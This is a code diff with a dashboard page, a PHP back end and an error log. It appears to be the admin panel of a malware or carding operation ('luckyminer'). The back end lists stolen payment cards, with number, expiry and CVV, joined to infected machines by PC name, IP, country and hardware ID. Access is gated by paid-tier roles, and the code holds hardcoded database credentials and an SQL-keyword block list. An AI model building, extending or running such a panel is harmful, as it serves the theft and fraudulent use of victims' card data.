<span id="cookiesHeaderText"> Automations</span>
|
||||
</h1>
|
||||
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.entry-search-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
/* Vertically center the items */
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<div class="2 text-right mx-5 mt-2">
|
||||
|
||||
<div class="grid grid-cols-4 gap-5">
|
||||
<div class="0">
|
||||
<h1 style="color: #111111;">s</h1>
|
||||
</div>
|
||||
<div class="1">
|
||||
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
|
||||
<option value="3">3</option>
|
||||
<option value="5">5</option>
|
||||
|
||||
<option value="10">10</option>
|
||||
<option value="25">25</option>
|
||||
<option value="50">50</option>
|
||||
<option value="75">75</option>
|
||||
<option value="100">100</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="2 col-span-2">
|
||||
<div class="sc-container">
|
||||
<input data-sc="" id="searchInput"
|
||||
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
|
||||
placeholder="Search Logs" type="text">
|
||||
<div class="caret" style="width: 2px; height: 60%; background-color: #850000;">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- Entry Number Drop-down (small square) -->
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
|
||||
<div class="table-responsive">
|
||||
<table id="DashTable" class="table-fixed w-full mt-5">
|
||||
<thead class="">
|
||||
<tr class="text-center">
|
||||
<th scope="col"
|
||||
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
|
||||
ID</th>
|
||||
<th scope="col"
|
||||
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
|
||||
Automation</th>
|
||||
<th scope="col"
|
||||
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
|
||||
Type</th>
|
||||
<th scope="col"
|
||||
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
|
||||
Options</th>
|
||||
|
||||
</tr>
|
||||
|
||||
<script>
|
||||
function deleteRecord(id) {
|
||||
if (confirm('Are you sure you want to delete this automation?')) {
|
||||
// Create a hidden form and submit it with the ID
|
||||
var form = document.createElement('form');
|
||||
form.method = 'post';
|
||||
form.action = '';
|
||||
var input = document.createElement('input');
|
||||
input.type = 'hidden';
|
||||
input.name = 'id';
|
||||
input.value = id;
|
||||
form.appendChild(input);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
}
|
||||
|
||||
function opensite(url) {
|
||||
window.open(url);
|
||||
}
|
||||
|
||||
function copyText(element) {
|
||||
|
||||
/* Copy text into clipboard */
|
||||
navigator.clipboard.writeText(element);
|
||||
}
|
||||
</script>
|
||||
|
||||
</thead>
|
||||
<tbody id="logsContent" class="mt-5">
|
||||
<style>
|
||||
.hover-link {
|
||||
color: white;
|
||||
/* Initial color */
|
||||
transition: color 0.3s ease-in-out;
|
||||
/* Color transition with animation */
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
/* Color on hover */
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Function to refresh the DataTable
|
||||
function refreshDataTable() {
|
||||
var table = $('#DashTable').DataTable();
|
||||
table.ajax.reload(null, false); // Reload without resetting page
|
||||
}
|
||||
|
||||
// Function to initialize the DataTable
|
||||
function initializeDataTable() {
|
||||
// Initialize DataTable with server-side processing
|
||||
var table = $('#DashTable').DataTable({
|
||||
serverSide: true,
|
||||
"lengthMenu": [3, 5, 10, 25, 50, 75, 100],
|
||||
"language": {
|
||||
"search": "Search Data: " // Replace with your custom text
|
||||
},
|
||||
ajax: {
|
||||
url: 'autoloklaka984.php', // Replace with the correct path to your PHP script
|
||||
type: 'POST',
|
||||
beforeSend: function() {
|
||||
// Show the header text with a loading animation
|
||||
$('#cookiesHeaderText').html(' Automations <i class="fas fa-spinner fa-spin"></i>');
|
||||
},
|
||||
complete: function() {
|
||||
// Restore the header text to "Cookies" after the data is loaded
|
||||
$('#cookiesHeaderText').html(' Automations');
|
||||
}
|
||||
},
|
||||
columns: [{
|
||||
data: 0
|
||||
},
|
||||
{
|
||||
data: 1
|
||||
},
|
||||
{
|
||||
data: 2
|
||||
},
|
||||
{
|
||||
data: 3
|
||||
}
|
||||
],
|
||||
paging: true,
|
||||
ordering: true,
|
||||
dom: 'lrtip' // This specifies the DataTables elements to display
|
||||
});
|
||||
|
||||
// Add an event listener to your custom search input
|
||||
$('#searchInput').on('keyup', function() {
|
||||
// Get the input value
|
||||
var inputValue = $(this).val();
|
||||
|
||||
// Use DataTables' search() method to filter the table
|
||||
table.search(inputValue).draw();
|
||||
});
|
||||
|
||||
// Add an event listener to the entry number drop-down
|
||||
$('#entriesSelect').on('change', function() {
|
||||
// Get the selected value
|
||||
var selectedValue = $(this).val();
|
||||
|
||||
// Change the number of entries displayed per page
|
||||
table.page.len(selectedValue).draw();
|
||||
});
|
||||
|
||||
// Hide the default DataTables length dropdown
|
||||
$('div.dataTables_length').css('display', 'none');
|
||||
|
||||
// Optionally, you can remove the label as well
|
||||
$('label[for="DashTable_length"]').css('display', 'none');
|
||||
}
|
||||
|
||||
// Call the initializeDataTable function on page load
|
||||
$(document).ready(function() {
|
||||
initializeDataTable();
|
||||
|
||||
// Refresh the DataTable every 1 minute (60000 milliseconds)
|
||||
setInterval(refreshDataTable, 60000);
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
<script src="../assets/js/builder.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function() {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,276 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
|
||||
// Set content type to JSON
|
||||
header('Content-Type: application/json');
|
||||
|
||||
// Validate session data
|
||||
$role = $_SESSION['Role'] ?? '';
|
||||
$secretkey = $_SESSION['secret_key'] ?? '';
|
||||
|
||||
/**
|
||||
* Validate string length
|
||||
*/
|
||||
function isStringLengthGreaterThan5($inputString) {
|
||||
return is_string($inputString) && strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enhanced input sanitization with strict validation
|
||||
*/
|
||||
function sanitizeInput($input) {
|
||||
if (!is_string($input) || empty($input)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// Define forbidden characters and SQL keywords
|
||||
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
|
||||
|
||||
$input_lower = strtolower($input);
|
||||
|
||||
// Check for forbidden characters and SQL keywords
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input_lower, strtolower($char)) !== false) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate user permissions
|
||||
*/
|
||||
function validateUserPermissions($role, $secretkey) {
|
||||
if (empty($role) || empty($secretkey)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
|
||||
return in_array($role, $validRoles);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create secure database connection using PDO
|
||||
*/
|
||||
function createDatabaseConnection() {
|
||||
$host = 'localhost';
|
||||
$dbname = 'luckyminer';
|
||||
$db_username = 'miner';
|
||||
$db_password = 'Sifre.12345';
|
||||
|
||||
try {
|
||||
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
|
||||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
|
||||
return $pdo;
|
||||
} catch (PDOException $e) {
|
||||
error_log("Database connection failed: " . $e->getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get provider icon based on card provider
|
||||
*/
|
||||
function getProviderIcon($provider) {
|
||||
$providerIcons = [
|
||||
'Visa' => '<i class="fa-brands fa-cc-visa fa-lg"></i>',
|
||||
'MasterCard' => '<i class="fa-brands fa-cc-mastercard fa-lg"></i>',
|
||||
'American Express' => '<i class="fa-brands fa-cc-amex fa-lg"></i>',
|
||||
'Discover' => '<i class="fa-brands fa-cc-discover fa-lg"></i>',
|
||||
'UnionPay' => '<i class="fa-solid fa-credit-card fa-lg"></i>'
|
||||
];
|
||||
|
||||
return $providerIcons[$provider] ?? '<i class="fa-solid fa-credit-card fa-lg"></i>';
|
||||
}
|
||||
|
||||
// Main execution
|
||||
try {
|
||||
// Validate HTTP method
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
throw new Exception('Invalid request method');
|
||||
}
|
||||
|
||||
// Validate session and permissions
|
||||
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
|
||||
http_response_code(403);
|
||||
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Create database connection
|
||||
$pdo = createDatabaseConnection();
|
||||
if (!$pdo) {
|
||||
http_response_code(500);
|
||||
echo json_encode(['error' => 'Database connection failed']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Validate and sanitize DataTables parameters
|
||||
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
|
||||
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
|
||||
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
|
||||
|
||||
if ($draw === false || $start === false || $length === false) {
|
||||
throw new Exception('Invalid DataTables parameters');
|
||||
}
|
||||
|
||||
// Limit length to prevent excessive data retrieval
|
||||
$length = min($length, 1000);
|
||||
|
||||
// Get and validate search value
|
||||
$searchValue = '';
|
||||
if (isset($_POST['search']['value'])) {
|
||||
$rawSearchValue = $_POST['search']['value'];
|
||||
$sanitizedSearch = sanitizeInput($rawSearchValue);
|
||||
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
|
||||
$searchValue = substr($sanitizedSearch, 0, 50); // Limit to 50 chars for security
|
||||
}
|
||||
}
|
||||
|
||||
// Define sortable columns (whitelist approach)
|
||||
$sortableColumns = [
|
||||
0 => 'cards.Numbery',
|
||||
1 => 'cards.Expiry',
|
||||
2 => 'cards.CVV',
|
||||
3 => 'cards.Provider',
|
||||
4 => 'miners.PcName',
|
||||
5 => 'miners.IP'
|
||||
];
|
||||
|
||||
// Validate sorting parameters
|
||||
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
|
||||
$orderColumn = 'cards.Numbery'; // Default sort column
|
||||
$orderDirection = 'ASC'; // Default sort direction
|
||||
|
||||
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
|
||||
$columnIndex = intval($orderColumnIndex[0]['column']);
|
||||
$direction = strtoupper($orderColumnIndex[0]['dir']);
|
||||
|
||||
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
|
||||
$orderColumn = $sortableColumns[$columnIndex];
|
||||
$orderDirection = $direction;
|
||||
}
|
||||
}
|
||||
|
||||
// Build base query with role-based filtering
|
||||
$baseWhere = "WHERE 1 = 1";
|
||||
$params = [];
|
||||
|
||||
// Role-based filtering
|
||||
if ($role !== "Founder") {
|
||||
$baseWhere .= " AND cards.OwnerID = :owner_id";
|
||||
$params['owner_id'] = $secretkey;
|
||||
}
|
||||
|
||||
// Add search conditions if search value exists
|
||||
$searchWhere = "";
|
||||
if (!empty($searchValue)) {
|
||||
$searchWhere = " AND (
|
||||
cards.Numbery LIKE :search1 OR
|
||||
cards.Expiry LIKE :search2 OR
|
||||
cards.CVV LIKE :search3 OR
|
||||
cards.Provider LIKE :search4 OR
|
||||
miners.PcName LIKE :search5 OR
|
||||
miners.Country LIKE :search6
|
||||
)";
|
||||
$searchPattern = '%' . $searchValue . '%';
|
||||
$params['search1'] = $searchPattern;
|
||||
$params['search2'] = $searchPattern;
|
||||
$params['search3'] = $searchPattern;
|
||||
$params['search4'] = $searchPattern;
|
||||
$params['search5'] = $searchPattern;
|
||||
$params['search6'] = $searchPattern;
|
||||
}
|
||||
|
||||
// Build the main data query
|
||||
$dataQuery = "SELECT cards.Numbery, cards.Expiry, cards.CVV, cards.Provider, cards.CardID,
|
||||
miners.PcName,
|
||||
CONCAT(miners.IP, ' | ', miners.Country) AS IPCOUNTRaY
|
||||
FROM cards
|
||||
LEFT JOIN miners ON cards.HWID = miners.HWID
|
||||
$baseWhere $searchWhere
|
||||
ORDER BY $orderColumn $orderDirection
|
||||
LIMIT :start, :length";
|
||||
|
||||
$stmt = $pdo->prepare($dataQuery);
|
||||
|
||||
// Bind parameters
|
||||
foreach ($params as $key => $value) {
|
||||
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
|
||||
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
|
||||
|
||||
$stmt->execute();
|
||||
$results = $stmt->fetchAll();
|
||||
|
||||
// Process results
|
||||
$data = [];
|
||||
foreach ($results as $row) {
|
||||
// Sanitize all output data
|
||||
$numbery = htmlspecialchars($row['Numbery'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$expiry = htmlspecialchars($row['Expiry'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$cvv = htmlspecialchars($row['CVV'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$provider = htmlspecialchars($row['Provider'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$pcName = htmlspecialchars($row['PcName'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$ipCountry = htmlspecialchars($row['IPCOUNTRaY'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
|
||||
// Get provider icon
|
||||
$providerIcon = getProviderIcon($row['Provider'] ?? '');
|
||||
|
||||
// Create clickable card number with copy functionality
|
||||
$cardNumberLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $numbery . '\')">' . $numbery . '</a>';
|
||||
|
||||
$data[] = [
|
||||
$cardNumberLink,
|
||||
$expiry,
|
||||
$cvv,
|
||||
$providerIcon,
|
||||
$pcName,
|
||||
$ipCountry
|
||||
];
|
||||
}
|
||||
|
||||
// Get total count
|
||||
$countQuery = "SELECT COUNT(cards.CardID) as total
|
||||
FROM cards
|
||||
LEFT JOIN miners ON cards.HWID = miners.HWID
|
||||
$baseWhere $searchWhere";
|
||||
|
||||
$countStmt = $pdo->prepare($countQuery);
|
||||
|
||||
// Bind the same parameters for count query (excluding LIMIT params)
|
||||
foreach ($params as $key => $value) {
|
||||
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
|
||||
$countStmt->execute();
|
||||
$totalRecords = $countStmt->fetch()['total'];
|
||||
|
||||
// Prepare response
|
||||
$response = [
|
||||
'draw' => $draw,
|
||||
'recordsTotal' => intval($totalRecords),
|
||||
'recordsFiltered' => intval($totalRecords),
|
||||
'data' => $data
|
||||
];
|
||||
|
||||
echo json_encode($response, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
} catch (Exception $e) {
|
||||
// Log error and return generic error response
|
||||
error_log("Cards DataTables Error: " . $e->getMessage());
|
||||
|
||||
http_response_code(500);
|
||||
echo json_encode([
|
||||
'draw' => $draw ?? 0,
|
||||
'recordsTotal' => 0,
|
||||
'recordsFiltered' => 0,
|
||||
'data' => [],
|
||||
'error' => 'An error occurred while processing your request'
|
||||
]);
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,776 @@
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
